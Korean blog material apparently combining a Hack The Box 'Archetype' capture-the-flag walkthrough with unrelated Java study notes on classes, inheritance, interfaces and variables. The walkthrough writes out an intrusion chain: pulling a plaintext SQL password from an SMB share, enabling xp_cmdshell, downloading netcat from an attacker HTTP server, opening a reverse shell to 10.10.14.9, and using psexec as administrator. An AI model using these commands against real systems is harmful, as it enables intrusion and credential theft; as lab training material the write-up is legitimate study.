정상적으로 이번 Target Machine이 구동되고 연결된다는 것을 확인했다.

1.1 Which TCP port is hosting a database server?

nmap -sC -sV {TARGET_IP}

1433 TCP 포트에서 MSSQL이 호스팅 되고 있음을 확인할 수 있다.

1.2 What is the name of the non-Administrative share available over SMB?

smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server

정답은 backups다

1.3 What is the password identified in the file on the SMB share?

smbclient -N \\\\{TARGET_IP}\\backups

위의 그림처럼 backups에 접근한다. 이후 get 명령어를 이용해 prod.dtsConfig를 다운받았다. 내용은 다음과 같다.

get prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

이 내용으로 보아하니 ID는 sql_svc, 패스워드는 M3g4c0rp123 이다.

1.4 What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

파이썬에는 Impacket 이라는 콜렉션이 있다. https://github.com/SecureAuthCorp/impacket

여기에 있는 mssqlclient.py를 통해 MSSQL 서버와 연결과 인증을 수행할 수 있다. 사전 설치 방법은 다음과 같다.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt

도움말을 살펴보자

cd impacket/examples/
python3 mssqlclient.py -h

아래 명령어를 통해 연결을 할 수 있다.

python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

1.5 What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

접속이 이뤄졌다면, help를 통해 우리가 뭘 할 수 있는지를 알아야 한다. 그리고 공격을 수행하기 위해 이를 분석해야한다. 아래 사이트는 mssql cheat sheet다 https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

위의 사이트를 참고해서, 우리는 현재 접속한 서버에서 어떤 역할(role)인지를 살펴봐야한다.

SELECT is_srvrolemember('sysadmin');

결과값은 1이고 이는 True라는 뜻이다.

그리고 같은 사이트에서 xp_cmdshell을 통해 명령어 실행 설정방법을 찾을 수 있다. 먼저, xp_cmdshell이 이미 구동중인지 다음 명령어를 통해 살펴보자

SQL> EXEC xp_cmdshell 'net user';

아마 서버 설정에 의해 xp_cmdshell 실행이 막혀있을 것이다. 다음 명령어를 통해 설정을 좀 만져주자.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

이제 시스템 명령어를 실행할 수 있다.

SQL> xp_cmdshell "whoami"

아마 우리의 계정 sql_svc가 나올 것이다. 이제 리버스 쉘을 따볼 것이다. MSSQL 서버에 nc64.exe 바이너리를 업로드 하고, 실행함으로써, 우리의 리스닝 포트를 통해 해당 머신의 cmd.exe와 상호작용 할 수 있다.

먼저 HTTP 서버를 열어주자.

sudo python3 -m http.server 80

그리고 다른 터미널을 열어서 리스닝 포트를 열어주자.

sudo nc -lvnp 443

바이너리 파일을 서버에 업로드하기위해, 업로드 할 수 있는 서버 내 폴더 경로를 탐색해야한다. 왜냐하면 권한이 문제될 수 있기 때문이다. 일반 명령 프롬프트보다는 powershell 기능이 다양하므로 powershell -c command 문법을 사용할 것이다.(-c는 powershell로 하여금 명령어를 실행하게 한다.)

먼저 현재 작업중인 경로를 파악하자.

xp_cmdshell "powershell -c pwd"

아마 system32로 경로가 잡혀있을텐데 sql_svc 계정은 관리자 권한이 없으므로 해당 경로에는 업로드 할 권한이 없다. 따라서 해당 사용자의 Downloads 디렉토리에 다운로드를 수행해주자.

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.14.9/nc64.exe -outfile nc64.exe"

업로드가 성공하면 HTTP 서버를 구동중인 터미널에서 200 코드를 확인할 수 있다.

이제 리스닝 포트와 cmd.exe를 결합하자.

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe
10.10.14.9 443"

위의 명령어는 방금 우리가 업로드를 수행한 경로로 이동한 뒤 nc64.exe를 실행한다. 그리고 cmd.exe를 원격으로 원하는 IP의 포트에서 실행하도록 한다.

사용자의 Desktop에서 user flag를 확인할 수 있다.

1.6 What script can be used in order to search possible paths to escalate privileges on Windows hosts?

권한 상승을 위해, winPEAS를 사용할 것이다. winPEAS는 enumerate 단계의 상당히 많은 부분을 자동화해준다. 다운로드는 여기서 할 수 있다.

위에서 했던 방식과 같은 방식(HTTP)으로 winPEAS 파일을 서버에 다운로드 해주자.

이제 리스닝 포트를 통해 해당 파일을 실행해주면 어어어어엄청 긴 결과가 나오는데 중요한 부분은 SeImpersonatePrivilege다.

Impersonate/가장

가장이란 자격 증명을 사용하여 클라이언트 또는 일부 다른 사용자의 보안 자격 증명을 사용하여 서버 프로세스를 실행할 수 있도록 하는 메커니즘이다.(출처)

"Impersonate a Client After Authentication"은 Windows 2000의 보안 설정으로 Windows 2000 SP4에서 처음 소개되었다. 이 기능을 사용자 권한에 할당 할 경우, 사용자를 대신하여 실행되는 프로그램이 클라이언트 가장(Impersonate)을 할 수 있게 해준다. 이 설정을 통해 미인증(unauthorized)된 서버에 RPC 혹은 named pipes와 같은 방법을 통해 연결을 하는 클라이언트 가장을 방지(prevent) 해준다.(출처)

비교적 쉽게 풀어쓴 글은 여기에 있다.

1.7 What file contains the administrator's password?

위의 SeImpersonatePrivilege는 Juicy potato exploit이라는 취약점을 가지고 있으나. 여기서는 크레덴셜을 포함 할 수 있는 파일들을 먼저 확인할 것이다.

현재 계정은 평범한 사용자 계정이므로, 자주 접근하는 파일 혹은 자주 실행되는 명령어를 확인하는 것이 유용하다. 그러기 위해 우리는 PowerShell history 파일을 읽어볼 것이다.(리눅스에서는 .bash_history 파일이다.) ConsoleHost_history.txt 파일은 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 경로 내에 있다.

해당 파일을 읽어보면 Administrator의 패스워드를 알 수 있다.

이제 Impacket의 psexec.py라는 툴을 사용하여 관리자 권한으로 쉘을 딸 것이다.

python3 psexec.py administrator@{TARGET_IP}

Desktop에서 관리자 플래그를 찾을 수 있다.

kali에서 impacket을 사용하는데 도움되는 사이트를 아래에 남겨놓는다. https://www.kali.org/tools/impacket-scripts/#impacket-psexec

1.1 상속의 정의

상속이란 기존의 클래스를 재사용하여 새로운 클래스를 작성하는 것이다.

생성자와 초기화 블럭은 상속되지 않는다. 멤버만 상속이 이뤄진다.

따라서 자손클래스의 인스턴스를 생성하면 조상 클래스의 멤버와 자손 클래승의 멤버가 합쳐진 하나의 인스턴스가 생성된다.

class Parent {
    int age;
}

class Child extends Parent {
    void play(){
        ...
    };

1.2 포함관계

굳이 상속이 아니더라도 클래스를 재사용할 수 있다. 그 방법은 한 클래스의 멤버변수로 다른 클래스 타입의 참조변수를 선언하는 것이다.(클래스 안에서 다른 클래스를 멤버변수로 쓰는 것이다.)

1.3 포함 vs 상속

클래스의 관계를 포함으로 할 지, 상속으로 할 지 고민해야한다. 만약 두 클래스의 관계가 ~is 라면 상속, ~include 라면 포함으로 관계를 설정하는 것이 좋다.

1.4 단일 상속

잠깐 C++를 살펴보자. C++는 여러 클래스로부터의 상속이 가능하다.(다중상속) 하지만 자바에서는 오직 단일 상속만이 가능하다. 만약 여러 클래스를 재활용하고 싶다면 '포함'을 활용하는 것이 좋다.

1.5 Object클래스 - 근__본

사실 extends를 쓰지 않아도 클래스는 상속을 받는다. 만약, 우리가 상속할 클래스를 작성하지 않는 경우, 컴파일러는 자바의 Object 클래스를 자동으로 상속한다. 따라서 우리가 어떤 관계로든 클래스간의 관계를 설정하더라도, 최상위 조상 클래스는 Object클래스다. 이것이 toString(), equals()와 같은 메서드를 따로 정의하지 않고도 쓸 수 있는 이유다.

2. 오버라이딩(overriding)

2.1 개념

조상 클래스로부터 상속받은 메서드의 내용을 변경하는 것을 오버라이딩이라고 한다.

2.2 조건

1. 이름이 같고
2. 매개변수가 같고
3. 반환타입이 같아야한다.

다만 접근 제어자와 예외는 제한된 조건 하에서만 다르게 변경할 수 있다. 그리고 추가적으로 주의해야 할 사항은 다음과 같다.

1. 접근 제어자를 조상 클래스의 메서드보다 좁은 범위로 변경할 수 없다.
2. 예외는 조상 클래스의 메서드보다 많이 선언할 수 없다.
3. 인스턴스메서드를 static메서드로 또는 그 반대로 변경할 수 없다.

2.3 오버로딩과 오버라이딩

오버로딩(overloading)은 기존에 없는 새로운 메서드를 정의하는 것이고. 오버라이딩(overriding)은 상속받은 메서드의 내용을 변경하는 것이다.

2.4 super

this를 멤버변수와 지역변수를 구분할 때 사용한 것처럼, super는 조상클래스의 멤버와 자손클래스의 멤버를 구분할 때 사용한다.

2.5 super()

super()는 조상 클래스 생성자다. 이 생성자가 필요한 이유는 자손 클래스의 멤버가 조상 클래스의 멤버를 사용할 수도 있기 때문이다. 따라서 Object 클래스를 제외한 모든 클래스의 생성자는 첫 줄에 다른 클래스 혹은 조상 클래스의 생성자를 호출해야한다. 그렇지 않으면 컴파일러는 자동으로 super();를 추가할 것이다.

3. package와 import

3.1 package

1. 하나의 소스파일에는 첫 번째 문장으로 단 한 번의 패키지 선언만을 허용한다.
2. 모든 클래스는 반드시 하나의 패키지에 속해야한다.
3. 패키지는 .을 구분자로 하여 계층구조로 구성할 수 있다.
4. 패키지는 물리적으로 클래스 파일을 포함하는 하나의 디렉토리다.

3.2 package 선언

package dir1.dir2.pack;

class PackageTest {
    public static void main(String[] args){
        System.out.println("Hello, my package")
    }
}

다음과 같이 옵션을 추가하여 컴파일 하면 지정된 경로를 참조하거나, 해당 디렉토리가 존재하지 않는다면 자동적으로 생성한다.

javac -d . PackageTest.java

경우에 따라 루트 디렉토리를 클래스 패스에 포함해야할 수 있다. 아니면 JDK에 기본적으로 설정되어 있는 클래스패스를 사용할 수 있다.

3.3 import 문

Python과 같은 요령으로 사용하면 된다. 참고로 System과 String과 같은 java.lang 패키지 내의 클래스들을 import없이 사용할 수 있었던 것은 모든 소스파일에서 해당 패키지가 암묵적으로 import되어 있기 때문이다.

3.4 static import

static import를 하면 static 멤버를 호출할 때 클래스의 이름을 생략할 수 있다.

4. 제어자(modifier)

4.1 static

static을 통해 멤버 변수와 메서드는 인스턴스간의 구분없이 공통적인 변수와 메서드가 된다. 초기화 블럭에도 사용가능하다.

4.2 final

final을 사용하면 클래스는 더이상 조상 클래스가 될 수 없고, 메서드는 오버라이딩을 할 수 없으며, 변수들은 변경이 불가능하다. 하지만 인스턴스 변수는 생성자를 통해서 초기화가 가능하다. 선언만 하고, 값은 생성자의 매개변수로 전달받으면 된다. 이러면 인스턴스 별로 서로 다른 값을 가지게 할 수 있다.

4.3 abstract

지금은 아직 완성되지 않은 메서드, 클래스 앞에 붙여서 쓰는걸로 이해하자.

4.4 접근 제어자(access modifier)

1. public: 전체에서 접근 가능
2. protected : 같은 패키지, 다른 패키지의 자손클래스에서 접근 가능
3. default : 같은 패키지 내 접근만 가능
4. private : 같은 클래스 내에서만 접근이 가능하다.

4.5 제어자 조합 사용

다음은 제어자를 조합할 떄 주의해야 할 사항이다.

1. 메서드에 static과 abstract를 함께 사용할 수 없다.
2. 클래스에 abstract와 final을 함께 사용할 수 없다.
3. abstract메서드의 접근 제어자가 private일 수 없다.
4. 메서드에 private과 final을 같이 사용할 필요는 없다.

5. 다형성

5.1 개념

자바에서 다형성이란 여러 가지 형태를 가질 수 있는 능력을 의미한다. 구체적인 사례로 이야기하자면, 조상 클래스 타입의 참조변수로 자손 클래스의 인스턴스를 참조할 수 있다. 하지만 반대는 불가능하다. 왜냐하면 조상 클래스에 정의되어있지 않는 멤버가 사용되는 것을 방지하기 위함이다.

5.2 참조변수의 형변환

참조변수도 형 변환이 가능하다. 다시 말하자면 자손 타입에서 조상 타입으로 형 변환이 가능하다는 것이다. 이 경우, 형변환은 생략될 수 있다. 하지만 반대는 형 변환이 불가능하다.

class Parent{
...
}

class Child extends Parent{
...
}

Child c;
Child c2 = null;
Parent p;

p = c; // p = (Parent) c;에서 형변환 생략, 업캐스팅
c2 = (Child) p; //생략 불가, 다운캐스팅

이렇게 형변환을 하더라도 참조변수에 대해 형변환이 이뤄진 것 뿐이라, 인스턴스에는 아무런 영향이 없다. 단지 참조변수의 형변환을 통해서 참조하는 인스턴스에서 접근 할 수 있는 멤버의 수를 조절할 뿐이다.

여기서는 조상 클래스와 자손 클래스 간의 양방향 참조변수 형변환이 가능하다고 말했다. 그런데 5.1에서는 일방향 밖에 안된다고 하지 않았는가?

그 이유는 5.2에서는 자손 클래스의 인스턴스에 대한 참조변수의 형변환만을 이야기하는 것이기 때문이다. 만약 조상 클래스 인스턴스에 대한 참조변수를 형변환 하는 경우에는 컴파일은 되지만 실행에서 에러가 발생한다.

5.3 instanceof연산자

instanceof 연산자는 왼쪽의 참조변수가 오른쪽의 타입의 인스턴스인지 판단해준다.

5.4 참조변수와 인스턴스의 연결

자손 클래스에서 조상 클래스의 메서드를 오버라이드 할 수 있음을 앞서 살펴보았다. 그렇다면 조상 클래스의 멤버변수와 자손 클래스의 인스턴스변수가 같은 이름으로 정의 되어 있을 때 어떤 일이 일어날까? 이 경우, 참조 변수가 조상 클래스인 경우에는 조상 클래스의 멤버 변수에 접근하게 되고, 자손 클래스 타입의 참조 변수인 경우에는 인스턴스변수에 접근하게 된다.

5.5 매개변수의 다형성

임의의 클래스 타입의 참조변수가 메서드의 매개변수로 주어지는 경우, 해당 클래스를 상속받는 또다른 임의의 클래스 타입의 인스턴스는 해당 메서드의 매개변수로 전달 될 수 있다. 다시 말하자면, 매개변수에 주어진 클래스 타입과 일치하는 참조변수 뿐만 아니라 해당 클래스를 상속받은 클래스 타입의 참조변수도 매개변수에 전달될 수 있다는 뜻이다. println(Object obj) 메서드가 모든 타입을 다룰 수 있는 이유가 바로 여기에 있다. 모든 클래스의 최상위 조상 클래스는 Object 이기 때문이다.

5.6 여러 종류의 객체를 배열로 다루는 방법

Parent p[] = new Parent[3];
p[0] = new Child1();
p[1] = new Child2();
p[2] = new Child3();

이처럼 조상타입의 참조변수 배열을 통해, 공통 조상을 가진 서로 다른 종류의 객체를 배열로 묶어서 다룰 수 있다. 하지만 배열의 크기를 사전에 설정해야하는 것이 문제가 된다. 그렇다고 무작정 크기를 크게 설정 할 수도 없는 노릇이다. 이때 사용하는 것이 Vector 클래스다. 이 클래스에는 내부적으로 Object타입의 배열을 가지고 있어서, 이 배열에 객체를 추가하거나 제거할 수 있게 작성되어 있다.그리고 배열의 크기를 알아서 관리해준다. Vector 클래스는 add, remove, isEmpty, get, size 메서드를 가진다.

6. 추상클래스(abstract class)

추상클래스란 해당 클래스에 미완성 된 메서드, 추상 메서드가 있다는 의미다. 추상클래스로는 인스턴스 생성이 불가능하며, 상속을 통해 자손클래스에서 완성되어야 한다. 만약 자손 클래스가 하나라도 미완성인 메서드를 가진다면 자손 클래스도 abstract를 붙여야 한다. 이를 이용해서 구현부는 다르지만 공통적인 선언부를 갖는 클래스들에 대해서 조상-자손 클래스 관계를 형성할 수 있다. 이때, 선언부만 같다면 abstract를 통해 추상화를 수행할 수 있다. 그리고 조상 클래스 참조변수 배열을 통해 자손 클래스 인스턴스들을 다룰 수 있다.

7. 인터페이스(Interface)

7.1 개념

인터페이스는 일종의 추상클래스다. 하지만, 추상메서드와 상수만을 멤버로 가질 수 있다.

7.2 인터페이스 작성

interface 인터페이스 이름 {
    public static final 타입 상수이름 = 값;
    public abstract 메서드 이름(메개변수 목록);
}

1. 모든 멤버변수는 public static final이어야 하며, 생략 가능하다.
2. 모든 메서드는 public abstract이어야 하며, 이를 생략할 수 있다. 단 static메서드와 default메서드는 제외한다.(JDK1.8~)

7.3 인터페이스의 상속

인터페이스는 클래스와 다르게 다중상속이 가능하다.

7.4 인터페이스의 구현

인터페이스는 그 자체로 인스턴스를 생성할 수 없다.(추상클래스와 마찬가지로) 따라서 인터페이스는 자신을 완성해 줄 클래스가 필요하다. 그 과정은 추상클래스를 구체화 하는 과정과 다를 것이 없다. 다만 extends 대신 implements 키워드를 사용할 뿐이다.(물론 둘 다 동시에 쓸 수 있다. 구현과 상속을 동시에!!) 물론 인터페이스의 일부만 구현한 경우에는 abstract를 붙여 추상클래스로 선언해야한다.

7.5 인터페이스를 통한 다중 상속

자바에서는 다중 상속이 불가능하다. 하지만 인터페이스를 통한 다중 상속은 가능하다. 물론 인터페이스의 목적이 다중 상속에 있는 것은 아니라는 점에 유의하자.

7.6 인터페이스를 이용한 다형성

인터페이스는 클래스에서 구현된다. 즉 인터페이스는 자기 자신을 구현해주는 클래스의 조상이라고 할 수 있다. 따라서 인터페이스 타입의 참조변수로 클래스의 인스턴스를 참조할 수 있으며 형변환도 가능하다. 이에 더해, 인터페이스는 메서드의 매개변수의 타입으로 사용될 수 있다. 인터페이스 타입의 매개변수는 인터페이스 자체가 아닌, 해당 인터페이스를 구현한 클래스의 인스턴스가 전달되어야 함을 의미한다. 메서드의 리턴 타입으로 인터페이스 타입을 지정할 수도 있다. 리턴타입이 인터페이스라는 것은 메서드가 해당 인터페이스를 구현한 클래스의 인스턴스를 반환한다는 것을 의미한다. 자꾸 인터페이스 자체가 매개변수로 전달되거나 반환되는게 아니라 이를 구현한 클래스의 인스턴스를 반환하는지 의문일 수도 있다. 하지만 잘 생각해보자 인터페이스는 고도의 추상화가 이뤄진 미완성품이다. 미완성품을 전달하거나 반환할 수 없다.

7.7 인터페이스의 장점

1. 개발시간 단축
2. 표준화
3. 클래스 간 관계 설정
4. 독립적인 프로그래밍

7.8 인터페이스의 이해

A클래스가 B클래스의 인스턴스를 생성하여 이용한다고 가정하자. B클래스의 메서드 등이 수정되면 A클래스도 수정되어야 한다. 이 때, A와 B는 강하게 결합되어 있다. 고 볼 수 있다.

이 때, 인터페이스를 이해하면 이 결합을 약하게 할 수 있다. I인터페이스가 B클래스에서 구현된다고 하자. 그리고 A클래스는 I인터페이스를 매개변수 타입으로 설정한 메서드를 가지고 있다. 이 경우, A클래스 선언부에는 B클래스에 관한 내용이 전혀 들어가지 않지만, 인터페이스를 통해 B클래스 메서드에 접근할 수 있다.

즉, A클래스는 B클래스에 관한 구체적인 정보를 알지 않아도 되고, 알 필요도 없다.

사실 제3의 클래스를 통해 간접적인 관계를 설정할 수도 있긴하다.

7.9 디폴드 메서드, static 메서드

JDK 1.8 이후로 static 메서드를 인터페이스에서 사용할 수 있게 되었다. 그 이전에는? 불가능했다. 사실 안 될 이유가 없는데 규칙의 단순화를 위해서 막아왔었다고 한다.

만약 인터페이스에 새롭게 메서드를 추가한다면? 해당 인터페이스를 구현하는 클래스에서 해당 메서드를 하나씩 구현하도록 해야한다. 여간 귀찮은 일이아니다. 따라서 JDK 1.8이후로 디폴트 메서드는 구현되지 않아도 되도록 바뀌었다.

1. 여러 인터페이스의 디폴트 메서드 간의 충돌은 클래스에서 디폴트 메서드를 오버라이딩 해야한다.
2. 디폴트 메서드와 조상 클래스의 메서드간 충돌의 경우, 조상 클래스의 메서드가 상속되고, 디폴트 메서드는 무시된다.

1.1 인스턴스의 생성과 사용

Student student1; // 객체 참조를 위한 참조변수 - 객체의 주소가 여기에 담긴다.
student1 = new Student(); // 객체를 생성하면서, 참조변수에 인스턴스의 주소를 담는다.

1.2 객체 배열

많은 객체를 생성할 일이 있을 때 이것을 배열로 다룰 수 있다.

Student[] stuarr = new Student[5];

이 때, stuarr에는 아무것도 담기지 않았다. 클래스의 참조변수를 담을 '틀'만을 만들었을 뿐이다. 이를 해결하기 위해 아래처럼 객체를 일일이 생성해야한다. 물론 for문을 이용해도 된다.

stuarr[0] = new Student();
stuarr[1] = new Student();
...
stuarr[4] = new Student();

2. 변수와 메서드

2.1 선언 위치에 따른 변수 종류

• instance variable 인스턴스 변수라고 한다. 클래스 내에서 선언이 이뤄지며, 인스턴스가 생성될때, 같이 생성된다. 인스턴스 별로 서로 다른 값을 가진다.

• class variable 클래스 변수라고 한다. 클래스 내에서 선언이 이뤄진다는 점에서 인스턴스 변수와 공통점을 가지나 선언부 맨 앞 부분에 static을 붙여주면 된다. 클래스 변수는 모든 인스턴스가 공유하며, 클래스명.클래스변수명 형식으로 접근하여 사용 가능하다. 클래스가 메모리에 올라가는 순간 생성된다.

• local variable 메서드 내에 선언 되어 메서드 내에서만 사용 가능하다.

2.2 메서드의 선언과 구현

반환타입 메서드이름 (매개변수){
    //메서드 호출시 수행될 코드
}

2.3 메서드의 호출

같은 클래스 내의 메서드끼리는 참조변수를 사용하지 않고도 서로 호출이 가능하지만 static메서드는 같은 클래스 내의 인스턴스 메서드를 호출할 수 없다.

매개변수의 유효성 검사 타입만 맞으면 어떤 값도 매개변수를 통해 넘어올 수 있기 떄문에, 가능한 모든 경우의 수에 대해 고민하고 이에 대비해야한다. 예를 들어 0으로 나누는 일이 발생하지 않도록 신경써주어야 한다.

2.4 JVM 메모리 구조

메서드 영역

프로그램 실행 중 클래스가 사용되면 클래스 데이터가 여기에 저장된다.

힙

인스턴스가 생성되는 공간이다.

호출스택

메서드가 호출되면 메서드의 작업에 필요한 메모리 공간이 이곳에 할당된다. 작업이 끝나면 할당된 메모리는 모두 반환되어 지워진다.

2.5 기본형 매개변수와 참조형 매개변수

1. 기본형 매개변수는 값을 읽기만 할 수 있다.
2. 참조형 매개변수는 변수의 값을 읽고 변경할 수 있다.

하지만 메서드를 통해 매개변수의 값을 변경 할 떄 주의해야할 점이 있다. 바로 메서드를 정의할 때, 기본형 매개변수를 설정하면 변경이 불가능하다는 것이다. 따라서 참조형 매개변수 혹은 배열 자료형을 통해 변경하고자 하는 값의 주소를 넘길 수 있도록 하자. C 언어에서도 이와 유사한 인사이트가 있다. 참고

참조형 매개변수를 이용하여 반환값, 즉 return문이 없더라도 메서드 실행결과를 받아올 수 있다.

2.6 참조형 반환 타입

반환타입을 참조형으로 정의함으로써, 메서드는 객체의 주소를 반환할 수 있다.

2.7 클래스 메서드와 인스턴스 메서드

인스턴스 메서드는 인스턴스 변수와 관련된 작업을 하는 메서드다. 그리고 인스턴스 변수와 관계없는 메서드를 클래스 메서드로 정의한다.

1. 클래스를 설계할 때, 멤버변수 중 모든 인스턴스에 공통으로 사용하는 것에 static을 붙여 클래스 변수로 정의한다.
2. 클래스 변수는 인스턴스를 생성하지 않아도 사용할 수 있다.
3. 클래스 메서드는 인스턴스 변수를 사용할 수 없다.
4. 메서드 내에서 인스턴스 변수를 사용하지 않는다면, static을 붙이는 것을 고려한다.

2.8 클래스 멤버와 인스턴스 멤버간의 참조와 호출

이 경우에도 클래스 멤버는 인스턴스 멤버를 참조하거나 호출할 수없다. 다만 클래스 멤버는 호출할 수 있다.

3. 오버로딩(overloading)

3.1 의미

자바에서는 한 클래스 내에 이미 사용하려는 이름과 같은 이름을 가진 메서드가 있더라도 매개변수의 개수 또는 타입이 다르면 같은 이름을 사용해서 메서드를 정의할 수 있다.

3.2 조건

1. 메서드 이름이 같다.
2. 매개변수의 개수 또는 타입이 달라야한다.

3.3 가변인자(varargs)와 오버로딩

public PrintStream printf(String format, Object... args)

여기서 주의해야하는 점은 가변인자를 사용한 메서드는 오버로딩 해선 안된다는 점이다. 왜냐하면 가변인자로 인해 매개변수의 개수를 구분할 길이 없어지기 때문이다.

4. 생성자(Constructor)

4.1 의미

생성자란 인스턴스 초기화 메서드다. 생성자의 조건은 다음과 같다.

1. 생성자의 이름은 클래스의 이름과 같아야 한다.
2. 생성자는 리턴 값이 없다.

단 연산자 new가 인스턴스를 생성하는 것이다. 생성자는 인스턴스 변수 초기화에 사용된다.

4.2 기본 생성자

그런데 이상하다. 여태까지 별도로 생성자를 클래스 내에 정의한 적이 없는데 인스턴스를 생성해왔다. 왜냐하면 컴파일러가 기본 생성자를 제공하기 때문이다. 하지만 기본 생성자는 클래스에 정의된 생성자가 하나도 없을 때 뿐이므로 임의로 생성자를 정의했다면 이후 코드에서는 기본생성자를 작성하면 에러가 발생할 것이다.

4.3 매개변수가 있는 생성자

본인이 직접 매개변수를 전달받는 생성자를 추가로 정의할 수 있다.

4.4 생성자에서 다른 생성자 호출 -this(), this

생성자 내에서 다른 생성자를 호출 할 수 있다. 하지만

1. 생성자의 이름으로 this를 사용해야하며
2. 한 생성자 내에서 다른 생성자를 호출할 떄, 반드시 첫 줄에서만 호출 할 수 있다.

그 밖에 Python 처럼 인스턴스 변수의 경우 this.instance_varialbe 형식으로 접근할 수 있다.

4.5 생성자를 이용한 인스턴스의 복사

Car(Car c){
    color = c.color;
    gearType = c.gearType;
    door = c.door;
}

Car 클래스의 생성자이나, Car c를 매개변수로 받으므로 다른 Car클래스 생성자와 구분된다. 즉 Car 클래스 인스턴스를 매개변수로 받아 새로운 Car클래스 인스턴스를 생성하는 것이다.

인스턴스를 생성할 때는 다음 2가지 사항을 결정해야한다.

1. 클래스 - 어떤 클래스의 인스턴스를 생성할 것인가?
2. 생성자 - 선택한 클래스의 어떤 생성자로 인스턴스를 생성할 것인가?

5. 변수의 초기화

5.1 중요한 이유

변수라는 것은 가능하면 선언과 동시에 적절한 값으로 초기화 하는 것이 바람직하다. 멤버변수는 초기화를 하지 않아도, 자료형에 맞는 기본값으로 초기화된다. 하지만, 지역변수는 사용하기 전에 반드시 초기화해야 한다.

멤버변수 초기화 방법

1. 명시적 초기화(explicit initialization)
2. 생성자(constructor)
3. 초기화 블럭

5.2 명시적 초기화

변수의 선언과 동시에 초기화하는 것을 명시적 초기화라고 한다. 간단하지만 복잡한 초기화 작업은 초기화 블럭 또는 생성자를 이용해야한다.

5.3 초기화 블럭

초기화 블럭은 두 가지로 나뉜다

1. 클래스 초기화 블럭: 클래스 변수 초기화
2. 인스턴스 초기화 블럭: 인스턴스 변수 초기화

{
    count++;
    instance_variable = count;
}
static{
    count++;
    class_variable = count;
}

클래스 초기화 블럭은 클래스가 메모리에 올라갈 때에 한 번 실행되고, 인스턴스 초기화 블럭은 인스턴스가 생성될 때마다 실행된다. 그리고 생성자보다 인스턴스 초기화 블럭이 먼저 수행된다.

5.4 초기화 순서 정리

클래스변수 초기화 순서

기본값 - 명시적 초기화 - 클래스 초기화 블럭

인스턴스변수 초기화 순서

기본값 - 명시적 초기화 - 인스턴스 초기화 블럭 - 생성자

본인은 Python을 조금 쓸 줄 알고, C언어는 실제로 사용할 줄 아는정도는 아니고, 예전에 관련 책의 번역하면서 개념을 공부한 정도다.만약 해당 책이 한글로 번역되어 정식 출간된다면 비공개전환 예정(해당글) Booki라는 가계부 작성 프로젝트를 JAVA를 통해 진행할 예정이기에, 엄청 자세한 내용을 여기에 담지는 않았다. 다시말해 노트 필기를 여기에 작성한 것이라고 이해해주면 된다. 참고한 책은 남궁 성님의 "자바의 정석 3rd Edition"이다.

2. 변수(Variable)

2.1 변수의 타입

2.1.1 출력

자바에서도 파이썬의 print() 처럼 형식화된 출력을 수행할 수 있다. 지시자(specifier)를 활용하면 변수등을 담아서 출력할 수 있다. 다음은 그 예시다.

System.out.printf("finger = [%5d]", finger) // finger = [     10]

지시자 %x, %o 에서 %바로 뒤에 #을 끼워넣으면 접두사 '0x'와 '0o'가 붙는다. 참고로 10진수를 2진수로 변환해주는 지시자는 없다.(Integer.toBinarySString(binNum)을 사용해야한다.)

파이썬에서는 char 형에 지시자 %d를 쓰면 알아서 정수값으로 변환해주었겠지만, 자바에서는 변수 앞에 (int)c 와 같이 캐스팅(casting)을 수행해주어야 한다. 지시자의 종류는 서칭하면 잘 나온다. 파이썬과 마찬가지로 %14.10f는 14자리 중 소수점 아래 10자리라는 뜻이다. 그 밖에 지시자의 활용에 관해서는 파이썬과 거의 유사하다.(공백, 채우기 등등)

2.1.2 입력 - Scanner

자바에서는 Scanner 클래스를 통해 입력을 받을 수 있다. 먼저 import java.util.*;를 추가해주고, Scanner scanner = new Scanner(System.in);을 통해 Scanner클래스를 생성해준다.

다음은 입력대기 상태에서 입력을 마치고 엔터키를 누르면 입력한 내용이 문자열로 반환되는 코드다.

String input = scanner.nextLine(); // 입력 내용을 input에 저장
int num = Integer.parseInt(input); // 입력 내용을 int로 변환

사실 변환없이 숫자로 입력받는 메서드들이 Scanner클래스 내에 있지만 화면에서 연속적으로 값을 입력받으므로 사용하기에 까다롭다.

2.2 기본형(primitive type)

2.2.1 불린 - boolean

boolean power = true;
boolean checked = False; // false로 바뀌어야 한다. 대소문자 구분이 이뤄진다.

파이썬과의 차이점이라면 첫 글자가 대문자냐 아니냐 정도의 차이다.

2.2.2 문자형 - char

2.2.3 정수형

byte - short - int - long 순으로 1, 2, 4, 8바이트의 크기를 같는 정수형이다. 접미사가 없는 정수의 경우 기본적으로 int로 처리한다.

2.2.4 실수형

float - double 순으로 4, 8바이트의 크기를 가지고 각각 7자리, 15자리의 정밀도를 가지고 있다.

2.3 형변환

(int), (float) 과 같은 형태로 변수 또는 상수의 타입(type)을 다른 타입으로 변환할 수 있다. 다만 이 경우, 자료형의 크기 차이로 인한 loss of data가 발생할 수 있다. 자바는 아니지만 형변환에 관한 insight를 다룬 글이 있다. 자세한 원리가 적혀있지는 않지만 해당 글의 키워드를 구글링한다면 형변환에 관한 다양한 내용을 찾을 수 있을 것이다.

1. boolean을 제외한 나머지 7개의 기본형은 서로 형변환이 가능하다.
